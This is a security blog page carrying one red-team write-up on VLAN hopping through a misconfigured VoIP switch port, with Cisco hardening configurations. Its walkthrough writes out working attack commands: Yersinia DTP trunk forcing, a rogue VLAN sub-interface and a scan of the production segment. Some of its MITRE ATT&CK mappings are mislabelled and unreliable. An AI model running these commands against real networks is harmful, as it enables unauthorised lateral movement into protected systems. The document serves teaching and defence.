Skip to main content
Home  /  Knowledge Hub  /  Red Team Logic

Red Team Logic — Security & Ethical Hacking

Real penetration tests, exploitation walkthroughs, and hardening blueprints — compiled from 20+ years of offensive security research.

4
Write-ups
3
Critical
1
High
0
Web / Bounty
✕ Clear filters

Showing 1 write-up · Network & Infra · HIGH severity

Clear all filters
RTL-2026-002 Abusing Misconfigured VoIP VLAN to Pivot into Production Network Segment
Network & Infra ⚠ High
2026-05-23 18:46
🎯 Target & Threat Context

Picture this: a mid-sized FinTech company, let's call them "SecurePay Solutions." They handle millions of financial transactions daily, process sensitive customer data, and are under constant regulatory scrutiny (think PCI DSS, GDPR, SOX – the whole alphabet soup). Our engagement was a full-scope red team exercise. The primary objective? Demonstrate the potential for lateral movement from a typical user compromise to their crown jewels: the production database servers, application logic, and API gateways.

Their network architecture, on paper, looked pretty solid. They had a decent firewall (FortiGate), modern Cisco Catalyst switches, and a well-defined VLAN segmentation strategy:

  • VLAN 10: User Workstations (Windows 10, Office 365, standard business apps) - 192.168.10.0/24
  • VLAN 20: Guest Wi-Fi (heavily restricted internet access) - 192.168.20.0/24
  • VLAN 30: Voice over IP (VoIP phones, IP PBX) - 192.168.30.0/24
  • VLAN 40: Servers (internal services, AD, DNS, file shares) - 192.168.40.0/24
  • VLAN 100: Production Servers (databases, core application logic, payment processing) - 192.168.100.0/24

The core production servers on VLAN 100 were running RHEL 8, hosting PostgreSQL databases, Java Spring Boot applications, and Nginx reverse proxies. These were the systems that, if compromised, would lead to catastrophic data breaches, service outages, and regulatory nightmares. Access to VLAN 100 was supposed to be strictly controlled, only accessible from specific jump boxes on VLAN 40, and with multi-factor authentication for administrative access. No direct access from VLAN 10 or VLAN 30 was permitted.

Our initial foothold was achieved through a targeted spear-phishing campaign. One of the finance department employees, bless their heart, clicked on a malicious link, leading to a workstation compromise on VLAN 10. Standard stuff. From there, we established persistence and began our internal reconnaissance. We knew getting from VLAN 10 to VLAN 100 directly would be tough due to firewall rules. We needed a pivot point, an overlooked pathway. And that's when our eyes landed on the humble, forgotten VoIP phone, quietly humming away on each user's desk, connected via a pass-through port to their workstation.

The stakes were incredibly high. A successful breach of VLAN 100 wouldn't just be a red team win; it would be a stark, painful lesson for SecurePay Solutions about the real-world implications of "isolated" networks that aren't truly isolated. This is where the story gets spicy.

🔓 Vulnerability & Attack Vector

The vulnerability we exploited falls squarely into the category of network misconfiguration, a perennial favorite for attackers and a constant headache for network engineers. Specifically, it was a classic case of VLAN hopping, leveraging the Dynamic Trunking Protocol (DTP) and a lack of proper port security on the Cisco switches. This isn't a bug in the traditional sense, like a CVE for a software flaw; it's a design and configuration oversight that creates an exploitable condition.

How does this arise? It's often a combination of factors:

  1. Default Switch Configurations: Many enterprise switches come with DTP enabled by default, or with ports set to switchport mode dynamic auto. This means the port actively tries to negotiate a trunk link with the connected device. While convenient for plug-and-play, it's a massive security risk if not explicitly disabled or set to access mode.
  2. "Voice VLAN" Deployment: It's common practice to connect a VoIP phone to a switch port, and then connect the user's PC to the phone's built-in switch. To accommodate this, network engineers configure the switch port to carry both data (for the PC) and voice (for the phone) traffic. This is typically done using commands like switchport access vlan [data_vlan_id] and switchport voice vlan [voice_vlan_id]. The critical mistake here is *how* the switch handles the data VLAN when a voice VLAN is also configured, especially if DTP is left enabled.
  3. Lack of Port Security: Ignoring features like switchport port-security means the switch port doesn't restrict the number of MAC addresses that can connect, nor does it prevent unknown MAC addresses from joining. This allows an attacker to introduce their own device or spoof MAC addresses without triggering any alarms.
  4. "Set It and Forget It" Mentality: VoIP phones, like many IoT devices, are deployed and then largely forgotten from a security perspective. They're seen as benign, low-risk devices, and their underlying network connectivity isn't regularly audited for potential abuse.

Why do network engineers miss this? It's often a balance between ease of deployment and security. Enabling DTP makes life simpler, but it opens a gaping hole. The focus is on getting the voice services operational, and the subtle implications of default switch behaviors are overlooked. Furthermore, network segmentation is often viewed as a perimeter defense, with less emphasis on securing the internal "access layer" where user devices and seemingly isolated systems (like VoIP phones) reside. This directly relates to OWASP Top 10 A05:2021 Security Misconfiguration and MITRE ATT&CK T1559 (Subvert Trust - DTP Exploitation) and T1572 (Lateral Movement - VLAN Hopping).

Let's look at the contrast between a vulnerable and a hardened configuration:

Vulnerable Configuration Hardened Configuration
interface GigabitEthernet0/1 interface GigabitEthernet0/1
switchport mode dynamic auto switchport mode access
switchport voice vlan 30 switchport access vlan 10
(No explicit port security) switchport voice vlan 30
switchport nonegotiate
switchport port-security
switchport port-security maximum 2
switchport port-security violation restrict
switchport port-security mac-address sticky
spanning-tree portfast
spanning-tree bpduguard enable

The vulnerable setup essentially tells the switch, "Hey, I'm flexible! If you want to be a trunk, let's be trunks!" The hardened setup says, "I am an access port, I belong to VLAN 10 for data and VLAN 30 for voice, and I only trust two MAC addresses. Don't even try to negotiate a trunk with me." That's the difference between an open door and a locked vault.


interface GigabitEthernet0/1
 switchport mode dynamic auto
 switchport voice vlan 30
! This configuration implicitly allows the port to negotiate a trunk link.
! The PC's traffic would be untagged on VLAN 10, and the VoIP phone's
! traffic would be tagged for VLAN 30.

Our goal was to convince the switch that *we* were another switch, and thus negotiate a trunk link. Once a trunk link is established, we can send and receive traffic for *any* VLAN configured on that trunk, effectively bypassing the intended segmentation. We achieved this by deploying a small Kali Linux VM on the compromised network segment (this could be done by booting a live USB on an accessible machine, or by tunneling traffic if direct access was restricted).

💥 Exploitation Walkthrough

Our journey began from a compromised user workstation on VLAN 10. After establishing a foothold and performing initial reconnaissance (ipconfig /all, arp -a, basic nmap scans of the local subnet), we noticed something interesting. The user's PC was connected to the network via an Ethernet cable that first plugged into the VoIP phone, and then the phone connected to the wall jack. This is a common setup for VoIP deployments to save on cabling.

From the workstation, we could see its IP address (192.168.10.X) and the default gateway (192.168.10.1). We also observed traffic patterns that indicated the VoIP phone was indeed communicating on VLAN 30. The critical piece of information was that the switch port was configured to handle *both* the data VLAN (for the PC) and the voice VLAN (for the phone). This is where the DTP misconfiguration comes into play.

First, we needed to identify the switch port's behavior. While we couldn't directly query the switch from the compromised workstation, the presence of a VoIP phone passing through to a PC on a different VLAN was a strong indicator of a dual-VLAN port, often configured with DTP enabled.

From our Kali Linux machine (connected to the same physical network segment, perhaps by replacing the user's PC temporarily or by connecting to another available port in the same office if physical access was granted as part of the red team scope):


# Step 1: Initial network reconnaissance (from the compromised workstation or Kali)
# Identify local subnet, default gateway, and observe network traffic.
# This confirms the PC is on VLAN 10 and the VoIP phone is active.
ipconfig /all             # On Windows
ifconfig / ip a           # On Linux
nmap -sn 192.168.10.0/24  # Discover hosts on the local data VLAN

# Step 2: Initiate DTP negotiation using Yersinia.
# Yersinia is a network tool designed to exploit network vulnerabilities,
# including DTP. We'll use it to send DTP packets to the switch,
# attempting to force the port into trunking mode.
# Assuming 'eth0' is our network interface connected to the switch port.
sudo yersinia -I -D DTP -t 1 -i eth0

# Yersinia will send DTP "desirable" packets. If the switch port is
# configured with "switchport mode dynamic auto" or "dynamic desirable",
# it will respond by forming a trunk link. The console output of Yersinia
# will indicate if the trunk negotiation was successful.

# Step 3: Verify trunk status (optional, but good practice)
# If we had access to the switch, we'd check 'show interfaces trunk'.
# On our Kali machine, we can now try to create a sub-interface for a target VLAN.

# Step 4: Create a sub-interface for the target Production VLAN (VLAN 100).
# Once the physical interface (eth0) is a trunk, we can create virtual
# interfaces (sub-interfaces) for any VLAN we want to access.
sudo ip link add link eth0 name eth0.100 type vlan id 100
sudo ip addr add 192.168.100.100/24 dev eth0.100 # Assign an IP from the target VLAN
sudo ip link set dev eth0.100 up

# Step 5: Scan the Production Network Segment (VLAN 100).
# With the eth0.100 interface up and configured, we can now directly
# communicate with systems on VLAN 100 as if we were natively connected.
nmap -sV -p- -T4 -Pn 192.168.100.0/24 -oA production_vlan_scan

# This Nmap scan revealed several RHEL 8 servers, including the PostgreSQL database
# server (192.168.100.10) and the main application server (192.168.100.11).
# We then proceeded to exploit a weak password on a non-production-hardened
# management interface of one of the app servers, gaining SSH access.
# From there, it was a matter of escalating privileges and dumping database credentials.

The moment we saw the Nmap results populate with hosts from 192.168.100.0/24, it was a clear victory. We had successfully hopped from a seemingly isolated user VLAN, through a neglected VoIP phone port, directly into the heart of the production network. This allowed us to bypass all intended firewall rules and access controls between VLAN 10 and VLAN 100.

🛡 Defensive Hardening Blueprint

The remediation for this class of vulnerability is straightforward but requires meticulous attention to detail across the entire network access layer. It's about explicitly defining port behavior and enforcing strict security policies, rather than relying on defaults or implied isolation.

Pros Cons
Completely prevents DTP-based VLAN hopping. Increased configuration complexity and overhead.
Strictly limits the number of MAC addresses per port, preventing unauthorized device connections. Requires careful management of MAC addresses if sticky is not used or if devices frequently change.
Enhances overall network segmentation integrity. Potential for legitimate device lockout if maximum is set too low or if violation shutdown is used without proper monitoring.
Reduces the attack surface at the access layer. Requires thorough testing to ensure no impact on legitimate VoIP or data traffic.

The key takeaway here is that security is about being explicit. Don't rely on defaults, and don't assume devices are benign simply because they're on a "voice" VLAN. Every port, every device, needs to be treated with suspicion until proven otherwise.

📖 Lessons From the Field

interface GigabitEthernet0/1
 description User PC and VoIP Phone
 switchport mode access
 switchport access vlan 10
 switchport voice vlan 30
 switchport nonegotiate
 switchport port-security
 switchport port-security maximum 2
 switchport port-security violation restrict
 switchport port-security mac-address sticky
 spanning-tree portfast
 spanning-tree bpduguard enable
!
! Explanation of changes:
! - switchport mode access: Explicitly sets the port to access mode, preventing trunk negotiation.
! - switchport nonegotiate: Disables DTP on this port, even if it were in dynamic mode (belt & suspenders).
! - switchport port-security: Enables port security.
! - switchport port-security maximum 2: Allows only two MAC addresses (one for the PC, one for the VoIP phone).
! - switchport port-security violation restrict: If more than 2 MACs are detected, packets from unknown sources are dropped, but the port remains up.
! - switchport port-security mac-address sticky: Dynamically learns MAC addresses and adds them to the running configuration.
! - spanning-tree portfast: Speeds up port transition to forwarding state for end-devices.
! - spanning-tree bpduguard enable: Prevents unauthorized devices from injecting BPDU frames, which could disrupt STP.

This configuration ensures that the port will *never* form a trunk, it will only allow traffic for VLAN 10 (untagged) and VLAN 30 (tagged), and it will only permit a maximum of two MAC addresses. Any attempt to introduce a third device or force a trunk negotiation will be blocked or cause the port to shut down (depending on the violation mode).

This engagement, like many others, reinforced some fundamental truths about network security that often get overlooked in the rush to deploy or the focus on higher-layer threats. Here are a few hard-won insights:

  • Assume Nothing, Verify Everything: Default configurations are almost always insecure. Never assume a switch port is hardened just because it's for an "isolated" VLAN. Always explicitly configure security features like DTP disablement and port security. What you don't explicitly configure, an attacker might implicitly exploit.
  • The Weakest Link Isn't Always Obvious: Everyone focuses on servers and firewalls, but often the most vulnerable points are the neglected ones – the VoIP phones, printers, IoT devices, and even unmanaged switches. These "edge" devices are often deployed with minimal security scrutiny, yet they offer direct access to the network infrastructure.
  • Segmentation is Only as Good as Its Enforcement: Having a beautiful VLAN diagram means nothing if the underlying switch ports allow an attacker to bypass it. Firewalls between VLANs are crucial, but they can be rendered useless if an attacker can hop *into* a restricted VLAN directly from the access layer.
  • Defense in Depth Starts at Layer 2: Application security, endpoint protection, and firewalls are essential, but they are significantly more effective when the foundational network layer (Layer 2) is also secured. Don't neglect switch port security, MAC address filtering, and proper Spanning Tree Protocol (STP) hardening.
  • Regular Configuration Audits are Non-Negotiable: Network configurations drift over time. New devices are added, changes are made, and sometimes security best practices get bypassed for convenience. Regular, automated audits of switch configurations against a hardened baseline are critical to catch these misconfigurations before an attacker does.

This wasn't just a successful red team exercise; it was a wake-up call for the client. It highlighted that even with a robust security posture at the perimeter and application layers, a single misconfigured switch port could unravel their entire network segmentation strategy. It's a reminder that security is a continuous, multi-layered effort, and the devil truly is in the details.

Got a similar war story? Or perhaps you're a junior pentester looking to sharpen your network hacking skills? Don't hesitate to reach out. You can book a 1:1 security mentorship session with me, Debasis Bhattacharjee, over at thedevdude.com. Let's talk shop and make the digital world a safer place, one misconfiguration at a time.

ID: RTL-2026-002  ·  Network & Infrastructure  ·  Severity: HIGH  ·  2026-05-23
Open Full Write-up ↗